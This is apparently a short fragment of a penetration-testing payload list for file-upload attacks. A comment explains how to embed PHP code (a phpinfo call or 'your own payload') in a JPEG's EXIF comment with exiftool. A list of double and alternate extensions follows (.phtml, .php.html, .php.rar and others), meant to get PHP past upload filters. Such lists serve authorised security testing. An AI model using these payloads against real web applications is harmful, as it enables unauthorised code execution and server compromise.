# Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/  to create a .jpg image with the meta comment field set to:
# -----
# your own payload, or <?php phpinfo(); ?> 
#-----
{PHPSCRIPT}
{PHPSCRIPT}.phtml
{PHPSCRIPT}.php.html
{PHPSCRIPT}.php.php.rar 
{PHPSCRIPT}.php.rar